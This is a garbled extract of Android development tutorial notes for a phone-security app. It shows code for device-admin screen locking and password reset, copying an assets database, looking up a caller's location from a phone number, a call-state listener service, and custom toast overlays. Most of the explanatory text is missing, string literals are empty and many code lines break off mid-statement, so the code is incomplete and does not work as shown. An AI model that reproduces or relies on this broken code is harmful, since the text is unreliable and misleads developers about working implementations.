					*	<intent-filter>	<action	android:name="android.intent.action.DELETE"
					*	/>	<action	android:name="android.intent.action.UNINSTALL_PACKAGE"	/>
					*	<category	android:name="android.intent.category.DEFAULT"	/>	<data
					*	android:scheme="package"	/>	</intent-filter>
					*/
				Intent	intent	=	new	Intent();
				intent.setAction(Intent.ACTION_UNINSTALL_PACKAGE);
				intent.addCategory(Intent.CATEGORY_DEFAULT);
				//	intent.setData(Uri.parse("package://+	getPackageName()"));////
				intent.setData(Uri.parse("package:"	+	getPackageName()));
				startActivity(intent);
}
5

Enabling	the	application
Intent	intent	=	new	Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);



																								intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,	mDeviceAdminSample
																								intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
																																mActivity.getString(R.string.add_admin_extra_app_text));
																								startActivityForResult(intent,	REQUEST_CODE_ENABLE_ADMIN);

/**
	*	1
	*	
	*	@param	view
	*/
public	void	lockScreen(View	view)	{
				//	1
				DevicePolicyManager	devicePolicyManager	=	(DevicePolicyManager)	this.getSystemService(
				//	2
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				if	(devicePolicyManager.isAdminActive(who))	{//2-1
								devicePolicyManager.lockNow();
				}else	{//2-2	
								activeAdmin(view);
				}
				//devicePolicyManager.wipeData(0);
				//	currently	0	and	WIPE_EXTERNAL_STORAGE	are	supported.
}
/**
	*	2()
	*	@	param	view
	*/
public	void	activeAdmin(View	view)	{
				Intent	intent	=	new	Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,	who);//
				intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,"" );
				//
				startActivity(intent);
}
6ActivityonCreate()
7
/**
	*	4
	*	@param	view
	*/
public	void	setLockScreenPwd(View	view)	{



				DevicePolicyManager	manager	=	(DevicePolicyManager)	this.getSystemService(Context.
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				if	(manager.isAdminActive(who))	{
								manager.resetPassword("123",	0);
								manager.lockNow();
				}	else	{
								activeAdmin(view);
				}
}		
8
/**
	*	5
	*	@param	view
	*/
public	void	clearLockScreenPwd(View	view){
				DevicePolicyManager	manager	=	(DevicePolicyManager)	this.getSystemService(Context.
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				if	(manager.isAdminActive(who))	{
								manager.resetPassword("",	0);
				}	else	{
								activeAdmin(view);
				}
}

——



	

	

select	area,city,cardtype	from	info	group	by		area,city,cardtype;

	



	



	

:
1.	assets
InputStream	is	=	am.open("address.db");	id
	
2.	resraw.(raw)
InputStream	is	=getResources().openRawResource(R.raw.address);
id
	
3.	javase
InputStream	is	=	getClassLoader().getResourceAsStream("address.db");
Assets /data/data//files/

1SplashActivity

2
AssetManager	assetManager	=	SplashActivity.this.getAssets();
InputStream	inputStream	=	assetManager.open("phoneAddress.db");
File	file	=	new	File(SplashActivity.this.getFilesDir(),	"phoneAddress.db");
FileOutputStream	fos	=	new	FileOutputStream(file);		
3
File	file	=	new	File(SplashActivity.this.getFilesDir(),"phoneAddress.db");
				if	(file	!=	null	&&	file.exists())	{//	
									ToastUtils.showToastInThread(this,	"" );
									return;
				}		
4UI
activity.runOnUiThread(new	Runnable()	{
					@Override
					public	void	run()	{
									Toast.makeText(activity,	msg,	Toast.LENGTH_SHORT).show();
					}
});

assetsassets file:///assets/address.db

String	path	=	"file:///assets/phoneAddress.db";

SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(path,	null,SQLiteDatabase.OPEN_READONLY);	
SQLiteDatabase



assets/data/data//files/

/**
	*	6assets/data/data//files/
	*/
public	void	copyAddressDb()	{
				//	.
				File	file	=	new	File(SplashActivity.this.getFilesDir(),"phoneAddress.db");
				if	(file	!=	null	&&	file.exists())	{//	
								ToastUtils.showToastInThread(this,	"" );
								return;
				}
				//	Splash
				new	Thread()	{
								@Override
								public	void	run()	{
												try	{
																
																//	 apkSQLiteDatabase
																/*String	path	=	"file:///assets/phoneAddress.db";
																SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(path,	null,SQLiteDatabase.OPEN_READONLY);*/
												
																//	/data/data//files/address.db
																AssetManager	assetManager	=	SplashActivity.this.getAssets();
																InputStream	inputStream	=	assetManager.open("phoneAddress.db");
																File	file	=	new	File(SplashActivity.this.getFilesDir(),	"phoneAddress.db");
																FileOutputStream	fos	=	new	FileOutputStream(file);
																byte[]	buf	=	new	byte[1024];
																int	len	=	0;
																while	((len	=	inputStream.read(buf))	!=	-1)	{
																				fos.write(buf,	0,	len);
																}
																fos.close();
																inputStream.close();
																ToastUtils.showToastInThread(SplashActivity.this,"O(∩_∩)O!" );
												}	catch	(IOException	e)	{
																e.printStackTrace();
																ToastUtils.showToastInThread(SplashActivity.this,"( ⊙o⊙)…");
												}
								}
				}.start();
}



UIAPI
package	cn.zengfansheng.mobilesafe.utils;
	
import	android.app.Activity;
import	android.widget.Toast;
	
/**
*	2UI
*	@author	hacket
*/
public	class	ToastUtils	{
	
				/**
					*	1UIToastUI
					*	@param	activity	activity
					*	@param	msg	
					*/
				public	static	void	showToastInThread(final	Activity	activity,	final	String	msg)	{
								activity.runOnUiThread(new	Runnable()	{
												@Override
												public	void	run()	{
																Toast.makeText(activity,	msg,	Toast.LENGTH_SHORT).show();
												}
								});
				}
}



apkapk

1*.java*.class
2*.classclasses.dex
3classes.dexAndroidManifest.xmlassets/res/*.apk

	
4*.apkadb
a)	*.apk/data/app/

	
1/data/app/*.apk

2SQLiteDatabaseassetswebview
webView.loadUrl("file:///assets/address.db");		
b)	/data/



	
c)	/data/system//netstats/packages.listpackages.xml

	
packages.list
cn.zengfansheng.mobilesafe	10044	1	/data/data/cn.zengfansheng.mobilesafe
packages.xml
<package	name="cn.zengfansheng.mobilesafe"	codePath="/data/app/cn.zengfansheng.mobilesafe-1.apk"
<sigs	count="1">
<cert	index="1"	key=""
</sigs>
<perms>
<item	name="android.permission.READ_EXTERNAL_STORAGE"	/>
<item	name="android.permission.READ_PHONE_STATE"	/>



<item	name="android.permission.RECEIVE_BOOT_COMPLETED"	/>
<item	name="android.permission.SEND_SMS"	/>
<item	name="android.permission.INTERNET"	/>
<item	name="android.permission.PROCESS_OUTGOING_CALLS"	/>
<item	name="android.permission.WRITE_EXTERNAL_STORAGE"	/>
<item	name="android.permission.ACCESS_FINE_LOCATION"	/>
<item	name="android.permission.ACCESS_COARSE_LOCATION"	/>
<item	name="android.permission.RECEIVE_SMS"	/>
<item	name="android.permission.READ_CONTACTS"	/>
<item	name="android.permission.ACCESS_MOCK_LOCATION"	/>
</perms>
</package>



select	location	from	data2	where	id	=	(select	outkey	from	data1	where	id	=
'1384444');
1 NumberQueryActivity.java
package	cn.zengfansheng.mobilesafe;
import	java.io.IOException;
import	android.app.Activity;
import	android.os.Bundle;
import	android.text.TextUtils;
import	android.view.View;
import	android.widget.EditText;
import	cn.zengfansheng.mobilesafe.dao.AddressDao;
import	cn.zengfansheng.mobilesafe.utils.ToastUtils;
/**
	*	12Activity
	*	@author	hacket
	*/
public	class	NumberQueryActivity	extends	Activity	{
				private	EditText	et_phone_number;
				private	EditText	et_query_address;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_number_query);
								et_phone_number	=	(EditText)	this.findViewById(R.id.et_phone_number);
								et_query_address	=	(EditText)	this.findViewById(R.id.et_query_address);
				}
				
				/**
					*	1
					*	@param	view
					*/
				public	void	queryAddressByPhoneNum(View	view){
								String	phoneNum	=	et_phone_number.getText().toString().trim();//	
								if	(TextUtils.isEmpty(phoneNum))	{//	1null
												ToastUtils.showToastInThread(this,	"" );
												et_query_address.setText("");
												return;
								}
								try	{



												String	address	=	AddressDao.getAddress(this,	phoneNum);
												et_query_address.setText(address);
								}	catch	(IOException	e)	{
												e.printStackTrace();
												ToastUtils.showToastInThread(this,	"" );
								}
				}
}
2 AddressDao.java

package	cn.zengfansheng.mobilesafe.dao;

	

import	java.io.IOException;

	

import	android.content.Context;

import	android.database.Cursor;

import	android.database.sqlite.SQLiteDatabase;

	

/**

*	1DAO:Data	Access	Object

*	@author	hacket

*/

public	class	AddressDao	{

	

				/**

					*	1

					*

					*	@param	context

					*	@param	phoneNum	

					*	@return	,null

					*	@throws	IOException

					*/

				public	static	String	getAddress(Context	context,String	phoneNum)	throws

IOException	{

	

								String	path	=	context.getFilesDir()	+	"/phoneAddress.db";

								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(path,	null,

																SQLiteDatabase.OPEN_READONLY);

	

								String	location	=	phoneNum;//

	

								//		/	

								//	1	3	4	5	8	/9

								if	(phoneNum.matches("^1[3458]\\d{9}$"))	{//	111

												//	37

												phoneNum	=	phoneNum.substring(0,	7);

												String	sql	=	"select	location	from	data2	where	id	=	(select

outkey	from	data1	where	id	=	?)";

												Cursor	cursor	=	database.rawQuery(sql,	new	String[]	{	phoneNum

});

												if	(cursor.moveToNext())	{

																location	=

cursor.getString(cursor.getColumnIndex("location"));



												}

												cursor.close();

												database.close();

								}	else	{	//	2

												//	.

												//	110	119	120

												switch	(phoneNum.length())	{

												case	3:

																location	=	"" ;

																break;

	

												case	4:

																location	=	"" ;

																break;

	

												case	5:

																location	=	"" ;

																break;

	

												case	7:

																location	=	"" ;

	

																break;

												case	8:

																location	=	"" ;

																break;

	

												default://	34

	

																if	(phoneNum.startsWith("0")	&&	phoneNum.length()	>=	10)	{//

0

	

																				String	prefix3	=	phoneNum.substring(1,	3);//	3,0

																				String	prefix4	=	phoneNum.substring(1,	4);//	40

	

																				//13

																				Cursor	cursor	=	database.rawQuery("select	location	from

data2	where	area	=	?",new	String[]{prefix3}	);;

																				if	(cursor.moveToNext())	{

																								String	mylocation	=

cursor.getString(cursor.getColumnIndex("location"));

																								location	=	mylocation.substring(0,

mylocation.length()-2);

																				}

																				cursor.close();

																				cursor	=	database.rawQuery("select	location	from	data2

where	area	=	?",new	String[]{prefix4}	);

																				if	(cursor.moveToNext())	{

																								String	mylocation	=

cursor.getString(cursor.getColumnIndex("location"));

																								location	=	mylocation.substring(0,

mylocation.length()-2);

																				}

																				cursor.close();



																}

																break;

												}

												database.close();

								}

								return	location;

				}							

}



-API	Demos

EditText	

API	Demos→Views→Animation→Shake

	
AndroidEclipse

1strings.xml

	



<string	name="animation_1_instructions">Please	enter	your	password:</string>		

2CTRL+H" animation_1_instructions"	
3CTRL+H R.layout.animation_1 Acitvity



	
4

5
public	class	Animation1	extends	Activity	implements	View.OnClickListener	{
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.animation_1);
								View	loginButton	=	findViewById(R.id.login);
								loginButton.setOnClickListener(this);
				}
				public	void	onClick(View	v)	{
								Animation	shake	=	AnimationUtils.loadAnimation(this,	R.anim.shake);



								findViewById(R.id.pw).startAnimation(shake);
				}
}

6
a)	shake.xml

<?xml	version="1.0"	encoding="utf-8"?>
<translate	xmlns:android="http://schemas.android.com/apk/res/android"	android:fromXDelta
//android:interpolator
b cycle_7.xml

<?xml	version="1.0"	encoding="utf-8"?>
<cycleInterpolator	xmlns:android="http://schemas.android.com/apk/res/android"	android:cycles
//cycles="7"	7



1
Vibrator.vibrate(new	long[]{50,20,50,20},1);
1 50ms,20ms50ms 20ms,50ms20ms50ms...
2-1-1

< uses-permission	android:name="android.permission.VIBRATE"/>

//	
Vibrator	vibrator	=	(Vibrator)	this.getSystemService(Context.VIBRATOR_SERVICE);
//	vibrator.vibrate(5000);//5
long[]	pattern	=	new	long[]	{	5000,	1000,	5000,	1000	};
vibrator.vibrate(pattern,	1);
//	vibrator.cancel();//
2
et_phone_number.addTextChangedListener(new	TextWatcher()	{
				
				@Override
				public	void	onTextChanged(CharSequence	s,	int	start,	int	before,	int	count)	{
				}
				@Override
				public	void	beforeTextChanged(CharSequence	s,	int	start,	int	count,
												int	after)	{
				}
				//	
				@Override
				public	void	afterTextChanged(Editable	s)	{
								String	phoneNum	=	et_phone_number.getText().toString().trim();//	
								String	address	=	null;
								try	{
												address	=	AddressDao.getAddress(NumberQueryActivity.this,	phoneNum);
												et_query_address.setText(address);
								}	catch	(IOException	e)	{
												e.printStackTrace();
												Toast.makeText(getApplicationContext(),	"
" ,	Toast.LENGTH_SHORT).show();
								}
				}
});
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Service
TelephonyManager				PhoneStateListener		
1
2
3SharedPreferencestrueservice()
1 ShowAddressService.java
package	cn.zengfansheng.mobilesafe.service;
import	android.app.Service;
import	android.content.Context;
import	android.content.Intent;
import	android.os.IBinder;
import	android.telephony.PhoneStateListener;
import	android.telephony.TelephonyManager;
import	android.widget.Toast;
import	cn.zengfansheng.mobilesafe.dao.AddressDao;
/**
	*	2Service
	*	@author	hacket
	*/
public	class	ShowAddressService	extends	Service	{
				private	MyPhoneStateListener	listener;//	
				private	TelephonyManager	manager;//	
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				@Override
				public	void	onCreate()	{
								super.onCreate();
								manager	=	(TelephonyManager)	this.getSystemService(Context.TELEPHONY_SERVICE
								PhoneStateListener	listener	=	new	MyPhoneStateListener();
								manager.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								manager.listen(listener,	PhoneStateListener.LISTEN_NONE);



								listener	=	null;
				}
				/**
					*	
					*	@author	hacket
					*/
				private	class	MyPhoneStateListener	extends	PhoneStateListener	{
								@Override
								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{
												super.onCallStateChanged(state,	incomingNumber);
												switch	(state)	{
												case	TelephonyManager.CALL_STATE_RINGING://	
																String	phoneAddress	=	AddressDao.getAddress(getApplicationContext(),	incomingNumber);
																Toast.makeText(getApplicationContext(),	phoneAddress,	Toast.LENGTH_SHORT
																break;
												}
								}
				}
}
2
//	2
sv_setting_showPhoneAddress	=	(SettingView)	this.findViewById(R.id.sv_setting_show_phone_address
sv_setting_showPhoneAddress.setOnClickListener(new	OnClickListener()	{
				
				@Override
				public	void	onClick(View	v)	{
								if	(sv_setting_showPhoneAddress.isChecked())	{
												sv_setting_showPhoneAddress.setChecked(false);
												stopService(addressIntent);//	
								}else	{
												sv_setting_showPhoneAddress.setChecked(true);
												addressIntent	=	new	Intent(SettingActivity.this,	ShowAddressService.class);
												startService(addressIntent);//	
								}
				}
});



1:SharedPreferencestrueservice()
	--	 ActivityManager	
/**
	*	3 -
	*	@author	hacket
	*/
public	class	ServiceStatusUtils	{
				/**
					*	1
					*	@param	context	
					*	@param	clazz	
					*	@return	truefalse
					*/
				public	static	boolean	isServiceOpen(Context	context,	Class<?>	clazz)	{
								ActivityManager	activityManager	=	(ActivityManager)	context
																.getSystemService(Context.ACTIVITY_SERVICE);
								
								//100100
								List<RunningServiceInfo>	runningServices	=	activityManager.getRunningServices(100);
								for	(RunningServiceInfo	runningServiceInfo	:	runningServices)	{
												//	runningServiceInfo.serviceservice
												String	runningServiceName	=	runningServiceInfo.service.getClassName();//	
												String	isRunServiceName	=	clazz.getName();
												if	(!TextUtils.isEmpty(isRunServiceName))	{	//
																if	(isRunServiceName.equals(runningServiceName))	{
																				return	true;
																}



												}
								}
								return	false;
				}
}		

a)	ServiceActivity
b)	

	



	
c)	bug:
homeSettingActivity
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Home



//	3	
@Override
protected	void	onStart()	{
				super.onStart();
				boolean	isServiceOpen	=	ServiceStatusUtils.isServiceOpen(this,ShowAddressService.class
				if	(isServiceOpen)	{//	
								Log.i(TAG,	"" );
								sv_setting_showPhoneAddress.setChecked(true);
				}	else	{
								sv_setting_showPhoneAddress.setChecked(false);
								Log.i(TAG,	"" );
				}
}		



1	 onReceive	()
//	2,
//	,		
/*if	(ServiceStatusUtils.isServiceOpen(context,	ShowAddressService.class))	{
				String	address	=	AddressDao.getAddress(context,	outNumber);
				Toast.makeText(context,	address,	Toast.LENGTH_LONG).show();
}*/		

2

ShowAddressService.java
package	cn.zengfansheng.mobilesafe.service;
	
import	android.app.Service;
import	android.content.BroadcastReceiver;
import	android.content.Context;
import	android.content.Intent;
import	android.content.IntentFilter;
import	android.os.IBinder;
import	android.telephony.PhoneStateListener;
import	android.telephony.TelephonyManager;
import	android.util.Log;
import	android.widget.Toast;
import	cn.zengfansheng.mobilesafe.dao.AddressDao;
	
/**
*	2Service
*	@author	hacket
*/
public	class	ShowAddressService	extends	Service	{
	
				private	MyPhoneStateListener	listener;//	
				private	TelephonyManager	manager;//	
				private	OutCallReveiver	outCallReveiver;//	
	
				@Override
				public	IBinder	onBind(Intent	intent)	{



								return	null;
				}
	
				//			.
				//				.
				/**
					*	2
					*	@author	hacket
					*/
				private	class	OutCallReveiver	extends	BroadcastReceiver	{
	
								private	static	final	String	TAG	=	"Inner	OutCallReveiver";
	
								@Override
								public	void	onReceive(Context	context,	Intent	intent)	{
												Log.i(TAG,	"ShowAddressServiceOutCallReveiver" );
												String	address	=	AddressDao.getAddress(context,	getResultData());
												Toast.makeText(context,	address,	Toast.LENGTH_LONG).show();
								}
				}
	
				@Override
				public	void	onCreate()	{
	
								//	2
								IntentFilter	filter	=	new	IntentFilter();
								filter.addAction(Intent.ACTION_NEW_OUTGOING_CALL);
								outCallReveiver	=	new	OutCallReveiver();
								//	
								registerReceiver(outCallReveiver,	filter);
	
								//	1
								manager	=	(TelephonyManager)
this.getSystemService(Context.TELEPHONY_SERVICE);
	
								//	PhoneStateListener	listener	=	new	MyPhoneStateListener();
								//	,
								//	
								listener	=	new	MyPhoneStateListener();//	
								manager.listen(listener,	PhoneStateListener.LISTEN_CALL_STATE);
								super.onCreate();
				}



	
				@Override
				public	void	onDestroy()	{
	
								//	2
								unregisterReceiver(outCallReveiver);
								outCallReveiver	=	null;
	
								//	1	
								manager.listen(listener,	PhoneStateListener.LISTEN_NONE);
								listener	=	null;
								super.onDestroy();
				}
	
				/**
					*	1
					*	@author	hacket
					*/
				private	class	MyPhoneStateListener	extends	PhoneStateListener	{
	
								@Override
								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{
												super.onCallStateChanged(state,	incomingNumber);
	
												switch	(state)	{
												case	TelephonyManager.CALL_STATE_RINGING://	
																String	phoneAddress	=	AddressDao.getAddress(getApplicationContext(),
incomingNumber);
																Toast.makeText(getApplicationContext(),	phoneAddress,
Toast.LENGTH_LONG).show();
																break;
												}
								}
				}
}

1



@Override
public	void	onDestroy()	{
				
				//	2
				unregisterReceiver(outCallReveiver);
				outCallReveiver	=	null;
				
				//	1	
				manager.listen(listener,	PhoneStateListener.LISTEN_NONE);
				listener	=	null;
				super.onDestroy();
}
2
Service.registerReceiver(outCallReveiver,	filter);		//
Context.registerReceiver(outCallReveiver,	filter);			//

:
	
1.	.
,	.
,,onReceive().
	
	



2.	
	registerReceiver(receiver,	filter);	
		unregisterReceiver(receiver);		
. 	
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Toast 1Toasttoast_frame.9.png

	
2Toastwindow
mWM	=	WindowManagerImpl.getDefault();
...
mWM.addView(mView,	mParams);
Toast.java
public	void	handleShow()	{
												if	(localLOGV)	Log.v(TAG,	"HANDLE	SHOW:	"	+	this	+	"	mView="	+	mView
																				+	"	mNextView="	+	mNextView);
												if	(mView	!=	mNextView)	{
																//	remove	the	old	view	if	necessary
																handleHide();		//
																mView	=	mNextView;
																mWM	=	WindowManagerImpl.getDefault();
																final	int	gravity	=	mGravity;
																mParams.gravity	=	gravity;
																if	((gravity	&	Gravity.HORIZONTAL_GRAVITY_MASK)	==	Gravity.FILL_HORIZONTAL
																				mParams.horizontalWeight	=	1.0f;
																}
																if	((gravity	&	Gravity.VERTICAL_GRAVITY_MASK)	==	Gravity.FILL_VERTICAL
																				mParams.verticalWeight	=	1.0f;
																}
																mParams.x	=	mX;
																mParams.y	=	mY;
																mParams.verticalMargin	=	mVerticalMargin;
																mParams.horizontalMargin	=	mHorizontalMargin;
																if	(mView.getParent()	!=	null)	{
																				if	(localLOGV)	Log.v(TAG,	"REMOVE!	"	+	mView	+	"	in	"	+	this);
																				mWM.removeView(mView);
																}
																if	(localLOGV)	Log.v(TAG,	"ADD!	"	+	mView	+	"	in	"	+	this);
																mWM.addView(mView,	mParams);	//
																trySendAccessibilityEvent();
												}
								}
public	void	handleHide()	{



												if	(localLOGV)	Log.v(TAG,	"HANDLE	HIDE:	"	+	this	+	"	mView="	+	mView);
												if	(mView	!=	null)	{
																//	note:	checking	parent()	just	to	make	sure	the	view	has
																//	been	added...		i	have	seen	cases	where	we	get	here	when
																//	the	view	isn't	yet	added,	so	let's	try	not	to	crash.
																if	(mView.getParent()	!=	null)	{
																				if	(localLOGV)	Log.v(TAG,	"REMOVE!	"	+	mView	+	"	in	"	+	this);
																				mWM.removeView(mView);
																}
																mView	=	null;
												}
								}
3ToastView
pixel
Toast	

1ToasthToastView
2ToastView
3ToastView- Toast
4 viewToast
5
1ToastTextView
a	
/**
					*	3
					*	@param	phoneAddress	
					*/
				public	void	toastAddress(String	phoneAddress)	{
								
								//a)	
								windowManager	=	(WindowManager)	this.getSystemService(Context.WINDOW_SERVICE
								//	b)	view
								tv_toast	=	new	TextView(getApplicationContext());
								tv_toast.setText(phoneAddress);
								tv_toast.setTextSize(20);
								tv_toast.setTextColor(Color.RED);
								final	WindowManager.LayoutParams	params	=	new	WindowManager.LayoutParams();;
								params.height	=	WindowManager.LayoutParams.WRAP_CONTENT;//	
								params.width	=	WindowManager.LayoutParams.WRAP_CONTENT;//	
								params.flags	=	WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE//	-



																|	WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE//	
																|	WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;//	
								params.format	=	PixelFormat.TRANSLUCENT;//	
								params.type	=	WindowManager.LayoutParams.TYPE_TOAST;//	
								windowManager.addView(tv_toast,	params);
				}
bTextView
case	TelephonyManager.CALL_STATE_IDLE://	
																if	(windowManager	!=	null)	{
																				windowManager.removeView(tv_toast);//	
																}
																break;
												}
2xmltoast
1
toast_info.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	18	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:background="@drawable/call_locate_green"
				android:gravity="center"
				android:orientation="horizontal"	>
				<ImageView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:contentDescription="@string/toast_image"
								android:src="@drawable/ic_launcher"	/>
				<TextView
								android:id="@+id/tv_toast_info"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="@string/phone_locale"
								android:textColor="#ffffff"
								android:textSize="20sp"	/>
</LinearLayout>		
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1-
2SettingActivity
3SharedPreferences
4ShowAddressServiceSharedPreferences

a)	toast_view_layout.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	19Toast-	-->
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="65dp"
				android:background="@drawable/toast_hint_dialog_status_selector"	>
				<TextView
								android:id="@+id/tv_toast_setting_title"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_marginLeft="5dip"
								android:layout_marginTop="8dip"
								android:textColor="#ff000000"
								android:textSize="18sp"	/>
				<TextView
								android:id="@+id/tv_toast_setting_description"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_below="@id/tv_toast_setting_title"
								android:layout_marginLeft="5dip"
								android:layout_marginTop="5dip"
								android:textColor="#99000000"
								android:textSize="14sp"	/>
				<ImageView
								android:src="@drawable/toast_arraws_disable"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_alignParentRight="true"
								android:layout_centerVertical="true"
								android:layout_marginRight="5dip"
								android:clickable="false"
								android:contentDescription="@string/tost_arraws_hint"
								android:focusable="false"	/>



				<View
								android:layout_width="match_parent"
								android:layout_height="1dp"
								android:layout_alignParentBottom="true"
								android:layout_marginLeft="5dip"
								android:layout_marginRight="5dip"
								android:background="#000000"	/>
</RelativeLayout>
b)	ToastView.java
package	cn.zengfansheng.mobilesafe.ui;

	

import	android.content.Context;

import	android.content.res.TypedArray;

import	android.util.AttributeSet;

import	android.view.View;

import	android.widget.RelativeLayout;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.R;

	

/**

*	3

*	@author	hacket

*/

public	class	ToastView	extends	RelativeLayout	{

	

				private	TextView	tv_setting_title;//	

				private	TextView	tv_setting_desc;//	

	

				//private	String	desc_on;

	

				public	ToastView(Context	context,	AttributeSet	attrs,	int	defStyle)	{

								super(context,	attrs,	defStyle);

								initViewFromXml(context);

								System.out.println("SettingView" );

				}

	

				public	ToastView(Context	context,	AttributeSet	attrs)	{

								super(context,	attrs);

	

								initViewFromXml(context);

	

								TypedArray	typedArray	=	context.obtainStyledAttributes(attrs,

																R.styleable.ToastSettingView);

								//	attrs

								String	title	=

typedArray.getString(R.styleable.ToastSettingView_toast_title);

								String	desc	=

typedArray.getString(R.styleable.ToastSettingView_toast_desc);

								setTitle(title);//	

								setDesc(desc);

								//desc_on	=

typedArray.getString(R.styleable.ToastSettingView_toast_desc_on);

								typedArray.recycle();



				}

	

				public	ToastView(Context	context)	{

								super(context);

								initViewFromXml(context);

								System.out.println("SettingView" );

				}

	

				/**

					*	1xmlview

					*

					*	@param	context

					*/

				public	void	initViewFromXml(Context	context)	{

								//	1	inflatexmlViewthis()

								View	view	=	View.inflate(context,	R.layout.toast_view_layout,	this);

	

								//	2

								tv_setting_title	=	(TextView)

view.findViewById(R.id.tv_toast_setting_title);

								tv_setting_desc	=	(TextView)

view.findViewById(R.id.tv_toast_setting_description);

				}

	

				/**

					*	2

					*	@return	

					*/

				public	String	getTitle()	{

								return	tv_setting_title.getText().toString().trim();

				}

				/**

					*	3

					*	@return	

					*/

				public	String	getDesc()	{

								return	tv_setting_desc.getText().toString().trim();

				}

	

				/**

					*	4

					*

					*	@param	title	

					*/

				public	void	setTitle(String	title)	{

								tv_setting_title.setText(title);

				}

	

				/**

					*	5

					*	@param	desc	

					*/

				public	void	setDesc(String	desc)	{

								tv_setting_desc.setText(desc);

				}



}

c)	attrs.xml

<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<declare-styleable	name="ToastSettingView">		<!--	name:Toast	-->
								<attr	name="toast_title"	format="string"	/>		<!--			-->
								<attr	name="toast_desc"	format="string"	/>
				</declare-styleable>
</resources>
d)	SettingActivity.java
package	cn.zengfansheng.mobilesafe;

import	android.app.Activity;

import	android.app.AlertDialog;

import	android.app.AlertDialog.Builder;

import	android.content.DialogInterface;

import	android.content.Intent;

import	android.content.SharedPreferences;

import	android.content.SharedPreferences.Editor;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.View;

import	android.view.View.OnClickListener;

import	cn.zengfansheng.mobilesafe.service.ShowAddressService;

import	cn.zengfansheng.mobilesafe.ui.SettingView;

import	cn.zengfansheng.mobilesafe.ui.ToastView;

import	cn.zengfansheng.mobilesafe.utils.ServiceStatusUtils;

/**

	*	3SettingActivity	

	*	@author	hacket

	*	

	*/

public	class	SettingActivity	extends	Activity	{

				private	static	final	String	TAG	=	"SettingActivity";

				private	SettingView	sv_setting_autoUpdate;//	

				private	SharedPreferences	sp;

				private	SettingView	sv_setting_showPhoneAddress;//	

				private	Intent	addressIntent;//	Service

				private	ToastView	toast_setting_hint_phone_address;//	

				private	final	String[]	items	=	{	"" ,	"" ,	"" ,	"" ,	"" 	};

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_setting);

								sv_setting_autoUpdate	=	(SettingView)

this.findViewById(R.id.sv_setting_autoUpdate);

								//	2SharedPreferences



								sp	=	this.getSharedPreferences("config",	MODE_PRIVATE);

								boolean	isAutoUpdate	=	sp.getBoolean("autoUpdate",	true);//	

								if	(isAutoUpdate)	{

												sv_setting_autoUpdate.setChecked(true);

								}	else	{

												sv_setting_autoUpdate.setChecked(false);

								}

								//	1

								sv_setting_autoUpdate.setOnClickListener(new	OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																Editor	edit	=	sp.edit();

																if	(sv_setting_autoUpdate.isChecked())	{//	1-1

																				sv_setting_autoUpdate.setChecked(false);

																				edit.putBoolean("autoUpdate",	false);

																}	else	{//	1-2

																				sv_setting_autoUpdate.setChecked(true);

																				edit.putBoolean("autoUpdate",	true);

																}

																edit.commit();

												}

								});

								//	2

								sv_setting_showPhoneAddress	=	(SettingView)

this.findViewById(R.id.sv_setting_show_phone_address);

								//		OnCreate()Home√OnCreate()

								/*boolean	isServiceOpen	=	ServiceStatusUtils.isServiceOpen(this,

																ShowAddressService.class);

								if	(isServiceOpen)	{//	

												Log.i(TAG,	"");

												sv_setting_showPhoneAddress.setChecked(true);

								}	else	{

												sv_setting_showPhoneAddress.setChecked(false);

												Log.i(TAG,	"");

								}*/

								sv_setting_showPhoneAddress.setOnClickListener(new	OnClickListener()

{

												

												@Override

												public	void	onClick(View	v)	{

																if	(sv_setting_showPhoneAddress.isChecked())	{

																				sv_setting_showPhoneAddress.setChecked(false);

																				stopService(addressIntent);//	

																				Log.i(TAG,	"" );

																}else	{

																				sv_setting_showPhoneAddress.setChecked(true);

																				addressIntent	=	new	Intent(SettingActivity.this,

ShowAddressService.class);

																				startService(addressIntent);//	

																				Log.i(TAG,	"" );

																}

												}

								});



								//	4

								toast_setting_hint_phone_address	=	(ToastView)

this.findViewById(R.id.toast_setting_hint_phone_address);

								int	toastWhich	=	sp.getInt("toastWhich",	0);

